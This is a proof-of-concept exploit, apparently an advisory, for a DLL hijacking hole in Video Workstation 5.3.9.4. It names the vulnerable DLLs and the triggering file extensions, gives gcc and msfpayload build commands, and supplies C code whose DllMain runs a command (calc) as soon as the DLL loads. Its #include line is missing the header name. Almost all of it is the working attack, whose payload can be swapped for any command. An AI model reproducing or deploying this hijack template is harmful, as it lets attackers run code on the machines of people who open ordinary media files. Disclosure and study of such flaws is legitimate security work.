/* Video Workstation Version 5.3.9.4 dll hijacking iacenc.dll,ir50_lcs.dll Author Abhishek Lyall abhilyall@gmail.com, info@aslitsecurity.com Publisher e-soft.co.uk Vuln DLL => iacenc.dll, ir50_lcs.dll Web => http://aslitsecurity.com blog => http://aslitsecurity.blogspot.com Extebtions avi,mpg,mpeg,vcd,wmp,mov,mp4,asf,3gp,rm gcc -shared -o iacenc.dll test.c or msfpayload windows/exec CMD=calc.exe D > iacenc.dll Tested on XP SP2 To load right click on file name of any above ext. And select openwith=>browse=>VideoWorkstation.exe */ #include int hax() { WinExec("calc", 0); exit(0); return 0; } BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved) { hax(); return 0; }